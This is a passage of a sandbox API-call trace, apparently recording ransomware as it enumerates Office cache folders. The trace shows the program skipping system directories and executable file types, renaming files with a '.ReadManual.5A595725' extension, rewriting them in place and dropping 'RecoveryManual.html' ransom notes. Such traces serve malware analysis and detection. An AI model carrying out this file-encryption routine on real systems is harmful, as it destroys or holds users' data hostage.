[0188.609] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0188.609] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x30780dd) returned 0x4350000 [0192.459] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0192.566] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31323482153) returned 1 [0192.566] CloseHandle (hObject=0x194) returned 1 [0192.566] SetSecurityInfo () returned 0x57 [0192.566] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0192.566] CloseHandle (hObject=0x190) returned 1 [0192.862] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0192.862] lstrcpyW (in: lpString1=0x6ab922, lpString2="VisioMUI.msi" | out: lpString1="VisioMUI.msi") returned="VisioMUI.msi" [0192.862] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="RecoveryManual.html") returned 1 [0192.862] StrStrIW (lpFirst="VisioMUI.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0192.862] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0192.862] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0192.862] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0192.862] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0192.862] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0192.862] lstrcpyW (in: lpString1=0x6ab922, lpString2="VisioMUI.xml" | out: lpString1="VisioMUI.xml") returned="VisioMUI.xml" [0192.862] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="RecoveryManual.html") returned 1 [0192.862] StrStrIW (lpFirst="VisioMUI.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0192.862] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0192.862] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0192.862] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0192.862] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0192.862] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0192.862] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0192.862] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0192.862] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0192.862] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0192.862] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0192.862] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0192.862] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0192.862] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0192.862] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0192.862] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" [0192.862] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.ReadManual.5A595725" [0192.863] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.ReadManual.5A595725") returned 99 [0192.863] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31353135437) returned 1 [0192.863] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0192.863] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0192.863] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=9503) returned 1 [0192.863] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x251f, lpName=0x0) returned 0x194 [0192.863] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0192.864] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.864] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0192.867] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0192.867] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x251f) returned 0x2f0000 [0192.867] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0192.867] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31353584089) returned 1 [0192.867] CloseHandle (hObject=0x194) returned 1 [0192.867] SetSecurityInfo () returned 0x57 [0192.867] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0192.867] CloseHandle (hObject=0x190) returned 1 [0192.868] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0192.868] FindClose (in: hFindFile=0x6680e8 | out: hFindFile=0x6680e8) returned 1 [0192.869] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0192.869] lstrcpyW (in: lpString1=0x69b8d0, lpString2="{90140000-00A1-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C") returned="{90140000-00A1-0409-1000-0000000FF1CE}-C" [0192.869] lstrcatW (in: lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C\\") returned="{90140000-00A1-0409-1000-0000000FF1CE}-C\\" [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows\\") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\WINNT") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows.old\\") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\PerfLog\\") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch="\\WindowsApps\\") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Windows Defender\\") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch="\\microsoft shared\\") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0192.869] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0192.870] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0192.870] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0192.870] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Tor Browser\\") returned 0x0 [0192.870] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0192.870] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\") returned 67 [0192.870] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6680e8 [0192.872] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\" [0192.872] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.872] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0192.872] lstrcpyW (in: lpString1=0x6ab922, lpString2="OneNoteMUI.msi" | out: lpString1="OneNoteMUI.msi") returned="OneNoteMUI.msi" [0192.873] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="RecoveryManual.html") returned -1 [0192.873] StrStrIW (lpFirst="OneNoteMUI.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0192.873] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0192.873] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0192.873] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0192.873] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0192.873] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\" [0192.873] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" [0192.873] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0192.873] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0192.874] CloseHandle (hObject=0x190) returned 1 [0192.874] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0192.875] lstrcpyW (in: lpString1=0x6ab922, lpString2="OneNoteMUI.xml" | out: lpString1="OneNoteMUI.xml") returned="OneNoteMUI.xml" [0192.875] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="RecoveryManual.html") returned -1 [0192.875] StrStrIW (lpFirst="OneNoteMUI.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0192.875] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0192.875] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0192.875] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0192.875] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0192.875] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0192.875] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0192.875] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0192.875] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0192.875] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0192.875] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0192.875] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0192.875] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0192.875] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0192.875] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0192.875] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" [0192.875] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.ReadManual.5A595725" [0192.875] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.ReadManual.5A595725") returned 101 [0192.875] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31354387287) returned 1 [0192.875] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0192.875] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0192.875] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=1606) returned 1 [0192.875] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x646, lpName=0x0) returned 0x194 [0192.876] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0192.876] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.876] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0192.878] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0192.878] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x646) returned 0x2f0000 [0192.878] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0192.878] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31354679047) returned 1 [0192.878] CloseHandle (hObject=0x194) returned 1 [0192.878] SetSecurityInfo () returned 0x57 [0192.878] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0192.878] CloseHandle (hObject=0x190) returned 1 [0192.878] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0192.878] lstrcpyW (in: lpString1=0x6ab922, lpString2="OnoteLR.cab" | out: lpString1="OnoteLR.cab") returned="OnoteLR.cab" [0192.878] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="RecoveryManual.html") returned -1 [0192.878] StrStrIW (lpFirst="OnoteLR.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0192.879] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0192.879] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0192.879] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0192.879] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0192.879] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0192.879] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0192.879] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0192.879] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0192.879] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0192.879] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0192.879] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0192.879] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0192.879] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0192.879] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0192.879] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" [0192.879] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.ReadManual.5A595725" [0192.879] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.ReadManual.5A595725") returned 98 [0192.879] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31354776572) returned 1 [0192.879] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020 [0192.885] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0192.886] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=17456632) returned 1 [0192.886] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10a5df8, lpName=0x0) returned 0x194 [0192.886] SetFileInformationByHandle 